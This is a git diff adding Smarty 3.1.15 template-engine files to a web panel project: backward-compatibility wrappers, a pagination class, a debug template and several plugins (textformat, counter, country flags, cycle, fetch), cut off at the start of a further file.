Backward Compatability Wrapper Class + * + * @package Smarty + */ +class SmartyBC extends Smarty +{ + /** + * Smarty 2 BC + * @var string + */ + public $_version = self::SMARTY_VERSION; + + /** + * Initialize new SmartyBC object + * + * @param array $options options to set during initialization, e.g. array( 'forceCompile' => false ) + */ + public function __construct(array $options=array()) + { + parent::__construct($options); + // register {php} tag + $this->registerPlugin('block', 'php', 'smarty_php_tag'); + } + + /** + * wrapper for assign_by_ref + * + * @param string $tpl_var the template variable name + * @param mixed &$value the referenced value to assign + */ + public function assign_by_ref($tpl_var, &$value) + { + $this->assignByRef($tpl_var, $value); + } + + /** + * wrapper for append_by_ref + * + * @param string $tpl_var the template variable name + * @param mixed &$value the referenced value to append + * @param boolean $merge flag if array elements shall be merged + */ + public function append_by_ref($tpl_var, &$value, $merge = false) + { + $this->appendByRef($tpl_var, $value, $merge); + } + + /** + * clear the given assigned template variable. + * + * @param string $tpl_var the template variable to clear + */ + public function clear_assign($tpl_var) + { + $this->clearAssign($tpl_var); + } + + /** + * Registers custom function to be used in templates + * + * @param string $function the name of the template function + * @param string $function_impl the name of the PHP function to register + * @param bool $cacheable + * @param mixed $cache_attrs + */ + public function register_function($function, $function_impl, $cacheable=true, $cache_attrs=null) + { + $this->registerPlugin('function', $function, $function_impl, $cacheable, $cache_attrs); + } + + /** + * Unregisters custom function + * + * @param string $function name of template function + */ + public function unregister_function($function) + { + $this->unregisterPlugin('function', $function); + } + + /** + * Registers object to be used in templates + * + * @param string $object name of template object + * @param object $object_impl the referenced PHP object to register + * @param array $allowed list of allowed methods (empty = all) + * @param boolean $smarty_args smarty argument format, else traditional + * @param array $block_functs list of methods that are block format + */ + public function register_object($object, $object_impl, $allowed = array(), $smarty_args = true, $block_methods = array()) + { + settype($allowed, 'array'); + settype($smarty_args, 'boolean'); + $this->registerObject($object, $object_impl, $allowed, $smarty_args, $block_methods); + } + + /** + * Unregisters object + * + * @param string $object name of template object + */ + public function unregister_object($object) + { + $this->unregisterObject($object); + } + + /** + * Registers block function to be used in templates + * + * @param string $block name of template block + * @param string $block_impl PHP function to register + * @param bool $cacheable + * @param mixed $cache_attrs + */ + public function register_block($block, $block_impl, $cacheable=true, $cache_attrs=null) + { + $this->registerPlugin('block', $block, $block_impl, $cacheable, $cache_attrs); + } + + /** + * Unregisters block function + * + * @param string $block name of template function + */ + public function unregister_block($block) + { + $this->unregisterPlugin('block', $block); + } + + /** + * Registers compiler function + * + * @param string $function name of template function + * @param string $function_impl name of PHP function to register + * @param bool $cacheable + */ + public function register_compiler_function($function, $function_impl, $cacheable=true) + { + $this->registerPlugin('compiler', $function, $function_impl, $cacheable); + } + + /** + * Unregisters compiler function + * + * @param string $function name of template function + */ + public function unregister_compiler_function($function) + { + $this->unregisterPlugin('compiler', $function); + } + + /** + * Registers modifier to be used in templates + * + * @param string $modifier name of template modifier + * @param string $modifier_impl name of PHP function to register + */ + public function register_modifier($modifier, $modifier_impl) + { + $this->registerPlugin('modifier', $modifier, $modifier_impl); + } + + /** + * Unregisters modifier + * + * @param string $modifier name of template modifier + */ + public function unregister_modifier($modifier) + { + $this->unregisterPlugin('modifier', $modifier); + } + + /** + * Registers a resource to fetch a template + * + * @param string $type name of resource + * @param array $functions array of functions to handle resource + */ + public function register_resource($type, $functions) + { + $this->registerResource($type, $functions); + } + + /** + * Unregisters a resource + * + * @param string $type name of resource + */ + public function unregister_resource($type) + { + $this->unregisterResource($type); + } + + /** + * Registers a prefilter function to apply + * to a template before compiling + * + * @param callable $function + */ + public function register_prefilter($function) + { + $this->registerFilter('pre', $function); + } + + /** + * Unregisters a prefilter function + * + * @param callable $function + */ + public function unregister_prefilter($function) + { + $this->unregisterFilter('pre', $function); + } + + /** + * Registers a postfilter function to apply + * to a compiled template after compilation + * + * @param callable $function + */ + public function register_postfilter($function) + { + $this->registerFilter('post', $function); + } + + /** + * Unregisters a postfilter function + * + * @param callable $function + */ + public function unregister_postfilter($function) + { + $this->unregisterFilter('post', $function); + } + + /** + * Registers an output filter function to apply + * to a template output + * + * @param callable $function + */ + public function register_outputfilter($function) + { + $this->registerFilter('output', $function); + } + + /** + * Unregisters an outputfilter function + * + * @param callable $function + */ + public function unregister_outputfilter($function) + { + $this->unregisterFilter('output', $function); + } + + /** + * load a filter of specified type and name + * + * @param string $type filter type + * @param string $name filter name + */ + public function load_filter($type, $name) + { + $this->loadFilter($type, $name); + } + + /** + * clear cached content for the given template and cache id + * + * @param string $tpl_file name of template file + * @param string $cache_id name of cache_id + * @param string $compile_id name of compile_id + * @param string $exp_time expiration time + * @return boolean + */ + public function clear_cache($tpl_file = null, $cache_id = null, $compile_id = null, $exp_time = null) + { + return $this->clearCache($tpl_file, $cache_id, $compile_id, $exp_time); + } + + /** + * clear the entire contents of cache (all templates) + * + * @param string $exp_time expire time + * @return boolean + */ + public function clear_all_cache($exp_time = null) + { + return $this->clearCache(null, null, null, $exp_time); + } + + /** + * test to see if valid cache exists for this template + * + * @param string $tpl_file name of template file + * @param string $cache_id + * @param string $compile_id + * @return boolean + */ + public function is_cached($tpl_file, $cache_id = null, $compile_id = null) + { + return $this->isCached($tpl_file, $cache_id, $compile_id); + } + + /** + * clear all the assigned template variables. + */ + public function clear_all_assign() + { + $this->clearAllAssign(); + } + + /** + * clears compiled version of specified template resource, + * or all compiled template files if one is not specified. + * This function is for advanced use only, not normally needed. + * + * @param string $tpl_file + * @param string $compile_id + * @param string $exp_time + * @return boolean results of {@link smarty_core_rm_auto()} + */ + public function clear_compiled_tpl($tpl_file = null, $compile_id = null, $exp_time = null) + { + return $this->clearCompiledTemplate($tpl_file, $compile_id, $exp_time); + } + + /** + * Checks whether requested template exists. + * + * @param string $tpl_file + * @return boolean + */ + public function template_exists($tpl_file) + { + return $this->templateExists($tpl_file); + } + + /** + * Returns an array containing template variables + * + * @param string $name + * @return array + */ + public function get_template_vars($name=null) + { + return $this->getTemplateVars($name); + } + + /** + * Returns an array containing config variables + * + * @param string $name + * @return array + */ + public function get_config_vars($name=null) + { + return $this->getConfigVars($name); + } + + /** + * load configuration values + * + * @param string $file + * @param string $section + * @param string $scope + */ + public function config_load($file, $section = null, $scope = 'global') + { + $this->ConfigLoad($file, $section, $scope); + } + + /** + * return a reference to a registered object + * + * @param string $name + * @return object + */ + public function get_registered_object($name) + { + return $this->getRegisteredObject($name); + } + + /** + * clear configuration values + * + * @param string $var + */ + public function clear_config($var = null) + { + $this->clearConfig($var); + } + + /** + * trigger Smarty error + * + * @param string $error_msg + * @param integer $error_type + */ + public function trigger_error($error_msg, $error_type = E_USER_WARNING) + { + trigger_error("Smarty error: $error_msg", $error_type); + } + +} + +/** + * Smarty {php}{/php} block function + * + * @param array $params parameter list + * @param string $content contents of the block + * @param object $template template object + * @param boolean &$repeat repeat flag + * @return string content re-formatted + */ +function smarty_php_tag($params, $content, $template, &$repeat) +{ + eval($content); + + return ''; +} diff --git a/panel/includes/Smarty-3.1.15/libs/SmartyPaginate.class.php b/panel/includes/Smarty-3.1.15/libs/SmartyPaginate.class.php new file mode 100644 index 0000000..8a9c9a5 --- /dev/null +++ b/panel/includes/Smarty-3.1.15/libs/SmartyPaginate.class.php @@ -0,0 +1,400 @@ + + * @package SmartyPaginate + * @version 1.6 + */ + + +class SmartyPaginate { + + /** + * Class Constructor + */ + function SmartyPaginate() { } + + /** + * initialize the session data + * + * @param string $id the pagination id + * @param string $formvar the variable containing submitted pagination information + */ + public static function connect($id = 'default', $formvar = null) { + if(!isset($_SESSION['SmartyPaginate'][$id])) { + SmartyPaginate::reset($id); + } + + // use $_GET by default unless otherwise specified + $_formvar = isset($formvar) ? $formvar : $_GET; + + // set the current page + $_total = SmartyPaginate::getTotal($id); + if(isset($_formvar[SmartyPaginate::getUrlVar($id)]) && $_formvar[SmartyPaginate::getUrlVar($id)] > 0 && (!isset($_total) || $_formvar[SmartyPaginate::getUrlVar($id)] <= $_total)) + $_SESSION['SmartyPaginate'][$id]['current_item'] = $_formvar[$_SESSION['SmartyPaginate'][$id]['urlvar']]; + } + + /** + * see if session has been initialized + * + * @param string $id the pagination id + */ + public static function isConnected($id = 'default') { + return isset($_SESSION['SmartyPaginate'][$id]); + } + + /** + * reset/init the session data + * + * @param string $id the pagination id + */ + public static function reset($id = 'default') { + $_SESSION['SmartyPaginate'][$id] = array( + 'item_limit' => 10, + 'item_total' => null, + 'current_item' => 1, + 'urlvar' => 'next', + 'url' => $_SERVER['PHP_SELF'], + 'prev_text' => 'prev', + 'next_text' => 'next', + 'first_text' => 'first', + 'last_text' => 'last' + ); + } + + /** + * clear the SmartyPaginate session data + * + * @param string $id the pagination id + */ + public static function disconnect($id = null) { + if(isset($id)) + unset($_SESSION['SmartyPaginate'][$id]); + else + unset($_SESSION['SmartyPaginate']); + } + + /** + * set maximum number of items per page + * + * @param string $id the pagination id + */ + public static function setLimit($limit, $id = 'default') { + if(!preg_match('!^\d+$!', $limit)) { + trigger_error('SmartyPaginate setLimit: limit must be an integer.'); + return false; + } + settype($limit, 'integer'); + if($limit < 1) { + trigger_error('SmartyPaginate setLimit: limit must be greater than zero.'); + return false; + } + $_SESSION['SmartyPaginate'][$id]['item_limit'] = $limit; + } + + /** + * get maximum number of items per page + * + * @param string $id the pagination id + */ + public static function getLimit($id = 'default') { + return $_SESSION['SmartyPaginate'][$id]['item_limit']; + } + + /** + * set the total number of items + * + * @param int $total the total number of items + * @param string $id the pagination id + */ + public static function setTotal($total, $id = 'default') { + if(!preg_match('!^\d+$!', $total)) { + trigger_error('SmartyPaginate setTotal: total must be an integer.'); + return false; + } + settype($total, 'integer'); + if($total < 0) { + trigger_error('SmartyPaginate setTotal: total must be positive.'); + return false; + } + $_SESSION['SmartyPaginate'][$id]['item_total'] = $total; + } + + /** + * get the total number of items + * + * @param string $id the pagination id + */ + public static function getTotal($id = 'default') { + return $_SESSION['SmartyPaginate'][$id]['item_total']; + } + + /** + * set the url used in the links, default is $PHP_SELF + * + * @param string $url the pagination url + * @param string $id the pagination id + */ + public static function setUrl($url, $id = 'default') { + $_SESSION['SmartyPaginate'][$id]['url'] = $url; + } + + /** + * get the url variable + * + * @param string $id the pagination id + */ + public static function getUrl($id = 'default') { + return $_SESSION['SmartyPaginate'][$id]['url']; + } + + /** + * set the url variable ie. ?next=10 + * ^^^^ + * @param string $url url pagination varname + * @param string $id the pagination id + */ + public static function setUrlVar($urlvar, $id = 'default') { + $_SESSION['SmartyPaginate'][$id]['urlvar'] = $urlvar; + } + + /** + * get the url variable + * + * @param string $id the pagination id + */ + public static function getUrlVar($id = 'default') { + return $_SESSION['SmartyPaginate'][$id]['urlvar']; + } + + /** + * set the current item (usually done automatically by next/prev links) + * + * @param int $item index of the current item + * @param string $id the pagination id + */ + public static function setCurrentItem($item, $id = 'default') { + $_SESSION['SmartyPaginate'][$id]['current_item'] = $item; + } + + /** + * get the current item + * + * @param string $id the pagination id + */ + public static function getCurrentItem($id = 'default') { + return $_SESSION['SmartyPaginate'][$id]['current_item']; + } + + /** + * get the current item index + * + * @param string $id the pagination id + */ + public static function getCurrentIndex($id = 'default') { + return $_SESSION['SmartyPaginate'][$id]['current_item'] - 1; + } + + /** + * get the last displayed item + * + * @param string $id the pagination id + */ + public static function getLastItem($id = 'default') { + $_total = SmartyPaginate::getTotal($id); + $_limit = SmartyPaginate::getLimit($id); + $_last = SmartyPaginate::getCurrentItem($id) + $_limit - 1; + return ($_last <= $_total) ? $_last : $_total; + } + + /** + * assign $paginate var values + * + * @param smarty &$smarty the smarty object reference + * @param string $var the name of the assigned var + * @param string $id the pagination id + */ + public static function assign(&$smarty, $var = 'paginate', $id = 'default') { + if(is_object($smarty) && (strtolower(get_class($smarty)) == 'smarty' || is_subclass_of($smarty, 'smarty'))) { + $_paginate['total'] = SmartyPaginate::getTotal($id); + $_paginate['first'] = SmartyPaginate::getCurrentItem($id); + $_paginate['last'] = SmartyPaginate::getLastItem($id); + $_paginate['page_current'] = ceil(SmartyPaginate::getLastItem($id) / SmartyPaginate::getLimit($id)); + $_paginate['page_total'] = ceil(SmartyPaginate::getTotal($id)/SmartyPaginate::getLimit($id)); + $_paginate['size'] = $_paginate['last'] - $_paginate['first']; + $_paginate['url'] = SmartyPaginate::getUrl($id); + $_paginate['urlvar'] = SmartyPaginate::getUrlVar($id); + $_paginate['current_item'] = SmartyPaginate::getCurrentItem($id); + $_paginate['prev_text'] = SmartyPaginate::getPrevText($id); + $_paginate['next_text'] = SmartyPaginate::getNextText($id); + $_paginate['limit'] = SmartyPaginate::getLimit($id); + + $_item = 1; + $_page = 1; + while($_item <= $_paginate['total']) { + $_paginate['page'][$_page]['number'] = $_page; + $_paginate['page'][$_page]['item_start'] = $_item; + $_paginate['page'][$_page]['item_end'] = ($_item + $_paginate['limit'] - 1 <= $_paginate['total']) ? $_item + $_paginate['limit'] - 1 : $_paginate['total']; + $_paginate['page'][$_page]['is_current'] = ($_item == $_paginate['current_item']); + $_item += $_paginate['limit']; + $_page++; + } + $smarty->assign($var, $_paginate); + } else { + trigger_error("SmartyPaginate: [assign] I need a valid Smarty object."); + return false; + } + } + + + /** + * set the default text for the "previous" page link + * + * @param string $text index of the current item + * @param string $id the pagination id + */ + public static function setPrevText($text, $id = 'default') { + $_SESSION['SmartyPaginate'][$id]['prev_text'] = $text; + } + + /** + * get the default text for the "previous" page link + * + * @param string $id the pagination id + */ + public static function getPrevText($id = 'default') { + return $_SESSION['SmartyPaginate'][$id]['prev_text']; + } + + /** + * set the text for the "next" page link + * + * @param string $text index of the current item + * @param string $id the pagination id + */ + public static function setNextText($text, $id = 'default') { + $_SESSION['SmartyPaginate'][$id]['next_text'] = $text; + } + + /** + * get the default text for the "next" page link + * + * @param string $id the pagination id + */ + public static function getNextText($id = 'default') { + return $_SESSION['SmartyPaginate'][$id]['next_text']; + } + + /** + * set the text for the "first" page link + * + * @param string $text index of the current item + * @param string $id the pagination id + */ + public static function setFirstText($text, $id = 'default') { + $_SESSION['SmartyPaginate'][$id]['first_text'] = $text; + } + + /** + * get the default text for the "first" page link + * + * @param string $id the pagination id + */ + public static function getFirstText($id = 'default') { + return $_SESSION['SmartyPaginate'][$id]['first_text']; + } + + /** + * set the text for the "last" page link + * + * @param string $text index of the current item + * @param string $id the pagination id + */ + public static function setLastText($text, $id = 'default') { + $_SESSION['SmartyPaginate'][$id]['last_text'] = $text; + } + + /** + * get the default text for the "last" page link + * + * @param string $id the pagination id + */ + public static function getLastText($id = 'default') { + return $_SESSION['SmartyPaginate'][$id]['last_text']; + } + + /** + * set default number of page groupings in {paginate_middle} + * + * @param string $id the pagination id + */ + public static function setPageLimit($limit, $id = 'default') { + if(!preg_match('!^\d+$!', $limit)) { + trigger_error('SmartyPaginate setPageLimit: limit must be an integer.'); + return false; + } + settype($limit, 'integer'); + if($limit < 1) { + trigger_error('SmartyPaginate setPageLimit: limit must be greater than zero.'); + return false; + } + $_SESSION['SmartyPaginate'][$id]['page_limit'] = $limit; + } + + /** + * get default number of page groupings in {paginate_middle} + * + * @param string $id the pagination id + */ + public static function getPageLimit($id = 'default') { + return $_SESSION['SmartyPaginate'][$id]['page_limit']; + } + + /** + * get the previous page of items + * + * @param string $id the pagination id + */ + public static function _getPrevPageItem($id = 'default') { + + $_prev_item = $_SESSION['SmartyPaginate'][$id]['current_item'] - $_SESSION['SmartyPaginate'][$id]['item_limit']; + + return ($_prev_item > 0) ? $_prev_item : false; + } + + /** + * get the previous page of items + * + * @param string $id the pagination id + */ + public static function _getNextPageItem($id = 'default') { + + $_next_item = $_SESSION['SmartyPaginate'][$id]['current_item'] + $_SESSION['SmartyPaginate'][$id]['item_limit']; + + return ($_next_item <= $_SESSION['SmartyPaginate'][$id]['item_total']) ? $_next_item : false; + } + + + +} + +?> diff --git a/panel/includes/Smarty-3.1.15/libs/debug.tpl b/panel/includes/Smarty-3.1.15/libs/debug.tpl new file mode 100644 index 0000000..12eef0f --- /dev/null +++ b/panel/includes/Smarty-3.1.15/libs/debug.tpl @@ -0,0 +1,133 @@ +{capture name='_smarty_debug' assign=debug_output} + + + + Smarty Debug Console + + + + +

Smarty Debug Console - {if isset($template_name)}{$template_name|debug_print_var nofilter}{else}Total Time {$execution_time|string_format:"%.5f"}{/if}

+ +{if !empty($template_data)} +

included templates & config files (load time in seconds)

+ +
+{foreach $template_data as $template} + {$template.name} + + (compile {$template['compile_time']|string_format:"%.5f"}) (render {$template['render_time']|string_format:"%.5f"}) (cache {$template['cache_time']|string_format:"%.5f"}) + +
+{/foreach} +
+{/if} + +

assigned template variables

+ + + {foreach $assigned_vars as $vars} + + + + {/foreach} +
${$vars@key|escape:'html'}{$vars|debug_print_var nofilter}
+ +

assigned config file variables (outer template scope)

+ + + {foreach $config_vars as $vars} + + + + {/foreach} + +
{$vars@key|escape:'html'}{$vars|debug_print_var nofilter}
+ + +{/capture} + diff --git a/panel/includes/Smarty-3.1.15/libs/plugins/block.textformat.php b/panel/includes/Smarty-3.1.15/libs/plugins/block.textformat.php new file mode 100644 index 0000000..b62a4f8 --- /dev/null +++ b/panel/includes/Smarty-3.1.15/libs/plugins/block.textformat.php @@ -0,0 +1,110 @@ + + * Name: textformat
+ * Purpose: format text a certain way with preset styles + * or custom wrap/indent settings
+ * Params: + *
+ * - style         - string (email)
+ * - indent        - integer (0)
+ * - wrap          - integer (80)
+ * - wrap_char     - string ("\n")
+ * - indent_char   - string (" ")
+ * - wrap_boundary - boolean (true)
+ * 
+ * + * @link http://www.smarty.net/manual/en/language.function.textformat.php {textformat} + * (Smarty online manual) + * @param array $params parameters + * @param string $content contents of the block + * @param Smarty_Internal_Template $template template object + * @param boolean &$repeat repeat flag + * @return string content re-formatted + * @author Monte Ohrt + */ +function smarty_block_textformat($params, $content, $template, &$repeat) +{ + if (is_null($content)) { + return; + } + + $style = null; + $indent = 0; + $indent_first = 0; + $indent_char = ' '; + $wrap = 80; + $wrap_char = "\n"; + $wrap_cut = false; + $assign = null; + + foreach ($params as $_key => $_val) { + switch ($_key) { + case 'style': + case 'indent_char': + case 'wrap_char': + case 'assign': + $$_key = (string) $_val; + break; + + case 'indent': + case 'indent_first': + case 'wrap': + $$_key = (int) $_val; + break; + + case 'wrap_cut': + $$_key = (bool) $_val; + break; + + default: + trigger_error("textformat: unknown attribute '$_key'"); + } + } + + if ($style == 'email') { + $wrap = 72; + } + // split into paragraphs + $_paragraphs = preg_split('![\r\n]{2}!', $content); + $_output = ''; + + foreach ($_paragraphs as &$_paragraph) { + if (!$_paragraph) { + continue; + } + // convert mult. spaces & special chars to single space + $_paragraph = preg_replace(array('!\s+!' . Smarty::$_UTF8_MODIFIER, '!(^\s+)|(\s+$)!' . Smarty::$_UTF8_MODIFIER), array(' ', ''), $_paragraph); + // indent first line + if ($indent_first > 0) { + $_paragraph = str_repeat($indent_char, $indent_first) . $_paragraph; + } + // wordwrap sentences + if (Smarty::$_MBSTRING) { + require_once(SMARTY_PLUGINS_DIR . 'shared.mb_wordwrap.php'); + $_paragraph = smarty_mb_wordwrap($_paragraph, $wrap - $indent, $wrap_char, $wrap_cut); + } else { + $_paragraph = wordwrap($_paragraph, $wrap - $indent, $wrap_char, $wrap_cut); + } + // indent lines + if ($indent > 0) { + $_paragraph = preg_replace('!^!m', str_repeat($indent_char, $indent), $_paragraph); + } + } + $_output = implode($wrap_char . $wrap_char, $_paragraphs); + + if ($assign) { + $template->assign($assign, $_output); + } else { + return $_output; + } +} diff --git a/panel/includes/Smarty-3.1.15/libs/plugins/function.counter.php b/panel/includes/Smarty-3.1.15/libs/plugins/function.counter.php new file mode 100644 index 0000000..cd14763 --- /dev/null +++ b/panel/includes/Smarty-3.1.15/libs/plugins/function.counter.php @@ -0,0 +1,76 @@ + + * Name: counter
+ * Purpose: print out a counter value + * + * @author Monte Ohrt + * @link http://www.smarty.net/manual/en/language.function.counter.php {counter} + * (Smarty online manual) + * @param array $params parameters + * @param Smarty_Internal_Template $template template object + * @return string|null + */ +function smarty_function_counter($params, $template) +{ + static $counters = array(); + + $name = (isset($params['name'])) ? $params['name'] : 'default'; + if (!isset($counters[$name])) { + $counters[$name] = array( + 'start'=>1, + 'skip'=>1, + 'direction'=>'up', + 'count'=>1 + ); + } + $counter =& $counters[$name]; + + if (isset($params['start'])) { + $counter['start'] = $counter['count'] = (int) $params['start']; + } + + if (!empty($params['assign'])) { + $counter['assign'] = $params['assign']; + } + + if (isset($counter['assign'])) { + $template->assign($counter['assign'], $counter['count']); + } + + if (isset($params['print'])) { + $print = (bool) $params['print']; + } else { + $print = empty($counter['assign']); + } + + if ($print) { + $retval = $counter['count']; + } else { + $retval = null; + } + + if (isset($params['skip'])) { + $counter['skip'] = $params['skip']; + } + + if (isset($params['direction'])) { + $counter['direction'] = $params['direction']; + } + + if ($counter['direction'] == "down") + $counter['count'] -= $counter['skip']; + else + $counter['count'] += $counter['skip']; + + return $retval; + +} diff --git a/panel/includes/Smarty-3.1.15/libs/plugins/function.country.php b/panel/includes/Smarty-3.1.15/libs/plugins/function.country.php new file mode 100644 index 0000000..2a8518a --- /dev/null +++ b/panel/includes/Smarty-3.1.15/libs/plugins/function.country.php @@ -0,0 +1,50 @@ + "; + } else + $img_url = ''; + + if (strlen($params['country_code'])) + { + if (!isset($params['country_name']) || !strlen($params['country_name'])) + $params['country_name'] = ''; + if (isset($params['simple']) && $params['simple']) + { + if (!strlen($img_url)) + return '
'.htmlspecialchars($params['country_name'], ENT_QUOTES, 'cp1251').'
'; + else + return $img_url.' '.htmlspecialchars($params['country_name'], ENT_QUOTES, 'cp1251'); + } + else + { + if (strlen($params['country_name'])) + $country_name = ' ('.htmlspecialchars($params['country_name'], ENT_QUOTES, 'cp1251').')'; + else + $country_name = ''; + if (!strlen($img_url)) + return '
'.''.htmlspecialchars($params['country_code'], ENT_QUOTES, 'cp1251').''.$country_name.'
'; + else + return $img_url.''.htmlspecialchars($params['country_code'], ENT_QUOTES, 'cp1251').''.$country_name; + } + } + + return ''; +} + +?> diff --git a/panel/includes/Smarty-3.1.15/libs/plugins/function.cycle.php b/panel/includes/Smarty-3.1.15/libs/plugins/function.cycle.php new file mode 100644 index 0000000..9bf26f8 --- /dev/null +++ b/panel/includes/Smarty-3.1.15/libs/plugins/function.cycle.php @@ -0,0 +1,105 @@ + + * Name: cycle
+ * Date: May 3, 2002
+ * Purpose: cycle through given values
+ * Params: + *
+ * - name      - name of cycle (optional)
+ * - values    - comma separated list of values to cycle, or an array of values to cycle
+ *               (this can be left out for subsequent calls)
+ * - reset     - boolean - resets given var to true
+ * - print     - boolean - print var or not. default is true
+ * - advance   - boolean - whether or not to advance the cycle
+ * - delimiter - the value delimiter, default is ","
+ * - assign    - boolean, assigns to template var instead of printed.
+ * 
+ * Examples:
+ *
+ * {cycle values="#eeeeee,#d0d0d0d"}
+ * {cycle name=row values="one,two,three" reset=true}
+ * {cycle name=row}
+ * 
+ * + * @link http://www.smarty.net/manual/en/language.function.cycle.php {cycle} + * (Smarty online manual) + * @author Monte Ohrt + * @author credit to Mark Priatel + * @author credit to Gerard + * @author credit to Jason Sweat + * @version 1.3 + * @param array $params parameters + * @param Smarty_Internal_Template $template template object + * @return string|null + */ + +function smarty_function_cycle($params, $template) +{ + static $cycle_vars; + + $name = (empty($params['name'])) ? 'default' : $params['name']; + $print = (isset($params['print'])) ? (bool) $params['print'] : true; + $advance = (isset($params['advance'])) ? (bool) $params['advance'] : true; + $reset = (isset($params['reset'])) ? (bool) $params['reset'] : false; + + if (!isset($params['values'])) { + if (!isset($cycle_vars[$name]['values'])) { + trigger_error("cycle: missing 'values' parameter"); + + return; + } + } else { + if(isset($cycle_vars[$name]['values']) + && $cycle_vars[$name]['values'] != $params['values'] ) { + $cycle_vars[$name]['index'] = 0; + } + $cycle_vars[$name]['values'] = $params['values']; + } + + if (isset($params['delimiter'])) { + $cycle_vars[$name]['delimiter'] = $params['delimiter']; + } elseif (!isset($cycle_vars[$name]['delimiter'])) { + $cycle_vars[$name]['delimiter'] = ','; + } + + if (is_array($cycle_vars[$name]['values'])) { + $cycle_array = $cycle_vars[$name]['values']; + } else { + $cycle_array = explode($cycle_vars[$name]['delimiter'],$cycle_vars[$name]['values']); + } + + if (!isset($cycle_vars[$name]['index']) || $reset ) { + $cycle_vars[$name]['index'] = 0; + } + + if (isset($params['assign'])) { + $print = false; + $template->assign($params['assign'], $cycle_array[$cycle_vars[$name]['index']]); + } + + if ($print) { + $retval = $cycle_array[$cycle_vars[$name]['index']]; + } else { + $retval = null; + } + + if ($advance) { + if ( $cycle_vars[$name]['index'] >= count($cycle_array) -1 ) { + $cycle_vars[$name]['index'] = 0; + } else { + $cycle_vars[$name]['index']++; + } + } + + return $retval; +} diff --git a/panel/includes/Smarty-3.1.15/libs/plugins/function.fetch.php b/panel/includes/Smarty-3.1.15/libs/plugins/function.fetch.php new file mode 100644 index 0000000..a4eaef3 --- /dev/null +++ b/panel/includes/Smarty-3.1.15/libs/plugins/function.fetch.php @@ -0,0 +1,219 @@ + + * Name: fetch
+ * Purpose: fetch file, web or ftp data and display results + * + * @link http://www.smarty.net/manual/en/language.function.fetch.php {fetch} + * (Smarty online manual) + * @author Monte Ohrt + * @param array $params parameters + * @param Smarty_Internal_Template $template template object + * @return string|null if the assign parameter is passed, Smarty assigns the result to a template variable + */ +function smarty_function_fetch($params, $template) +{ + if (empty($params['file'])) { + trigger_error("[plugin] fetch parameter 'file' cannot be empty",E_USER_NOTICE); + + return; + } + + // strip file protocol + if (stripos($params['file'], 'file://') === 0) { + $params['file'] = substr($params['file'], 7); + } + + $protocol = strpos($params['file'], '://'); + if ($protocol !== false) { + $protocol = strtolower(substr($params['file'], 0, $protocol)); + } + + if (isset($template->smarty->security_policy)) { + if ($protocol) { + // remote resource (or php stream, …) + if (!$template->smarty->security_policy->isTrustedUri($params['file'])) { + return; + } + } else { + // local file + if (!$template->smarty->security_policy->isTrustedResourceDir($params['file'])) { + return; + } + } + } + + $content = ''; + if ($protocol == 'http') { + // http fetch + if ($uri_parts = parse_url($params['file'])) { + // set defaults + $host = $server_name = $uri_parts['host']; + $timeout = 30; + $accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*"; + $agent = "Smarty Template Engine ". Smarty::SMARTY_VERSION; + $referer = ""; + $uri = !empty($uri_parts['path']) ? $uri_parts['path'] : '/'; + $uri .= !empty($uri_parts['query']) ? '?' . $uri_parts['query'] : ''; + $_is_proxy = false; + if (empty($uri_parts['port'])) { + $port = 80; + } else { + $port = $uri_parts['port']; + } + if (!empty($uri_parts['user'])) { + $user = $uri_parts['user']; + } + if (!empty($uri_parts['pass'])) { + $pass = $uri_parts['pass']; + } + // loop through parameters, setup headers + foreach ($params as $param_key => $param_value) { + switch ($param_key) { + case "file": + case "assign": + case "assign_headers": + break; + case "user": + if (!empty($param_value)) { + $user = $param_value; + } + break; + case "pass": + if (!empty($param_value)) { + $pass = $param_value; + } + break; + case "accept": + if (!empty($param_value)) { + $accept = $param_value; + } + break; + case "header": + if (!empty($param_value)) { + if (!preg_match('![\w\d-]+: .+!',$param_value)) { + trigger_error("[plugin] invalid header format '".$param_value."'",E_USER_NOTICE); + + return; + } else { + $extra_headers[] = $param_value; + } + } + break; + case "proxy_host": + if (!empty($param_value)) { + $proxy_host = $param_value; + } + break; + case "proxy_port": + if (!preg_match('!\D!', $param_value)) { + $proxy_port = (int) $param_value; + } else { + trigger_error("[plugin] invalid value for attribute '".$param_key."'",E_USER_NOTICE); + + return; + } + break; + case "agent": + if (!empty($param_value)) { + $agent = $param_value; + } + break; + case "referer": + if (!empty($param_value)) { + $referer = $param_value; + } + break; + case "timeout": + if (!preg_match('!\D!', $param_value)) { + $timeout = (int) $param_value; + } else { + trigger_error("[plugin] invalid value for attribute '".$param_key."'",E_USER_NOTICE); + + return; + } + break; + default: + trigger_error("[plugin] unrecognized attribute '".$param_key."'",E_USER_NOTICE); + + return; + } + } + if (!empty($proxy_host) && !empty($proxy_port)) { + $_is_proxy = true; + $fp = fsockopen($proxy_host,$proxy_port,$errno,$errstr,$timeout); + } else { + $fp = fsockopen($server_name,$port,$errno,$errstr,$timeout); + } + + if (!$fp) { + trigger_error("[plugin] unable to fetch: $errstr ($errno)",E_USER_NOTICE); + + return; + } else { + if ($_is_proxy) { + fputs($fp, 'GET ' . $params['file'] . " HTTP/1.0\r\n"); + } else { + fputs($fp, "GET $uri HTTP/1.0\r\n"); + } + if (!empty($host)) { + fputs($fp, "Host: $host\r\n"); + } + if (!empty($accept)) { + fputs($fp, "Accept: $accept\r\n"); + } + if (!empty($agent)) { + fputs($fp, "User-Agent: $agent\r\n"); + } + if (!empty($referer)) { + fputs($fp, "Referer: $referer\r\n"); + } + if (isset($extra_headers) && is_array($extra_headers)) { + foreach ($extra_headers as $curr_header) { + fputs($fp, $curr_header."\r\n"); + } + } + if (!empty($user) && !empty($pass)) { + fputs($fp, "Authorization: BASIC ".base64_encode("$user:$pass")."\r\n"); + } + + fputs($fp, "\r\n"); + while (!feof($fp)) { + $content .= fgets($fp,4096); + } + fclose($fp); + $csplit = preg_split("!\r\n\r\n!",$content,2); + + $content = $csplit[1]; + + if (!empty($params['assign_headers'])) { + $template->assign($params['assign_headers'],preg_split("!\r\n!",$csplit[0])); + } + } + } else { + trigger_error("[plugin fetch] unable to parse URL, check syntax",E_USER_NOTICE); + + return; + } + } else { + $content = @file_get_contents($params['file']); + if ($content === false) { + throw new SmartyException("{fetch} cannot read resource '" . $params['file'] ."'"); + } + } + + if (!empty($params['assign'])) { + $template->assign($params['assign'], $content); + } else { + return $content; + } +} diff --git a/panel/includes/Smarty-3.1.15/libs/plugins/function.html_checkboxes.php b/panel/includes/Smarty-3.1.15/libs/plugins/function.html_checkboxes.php new file mode 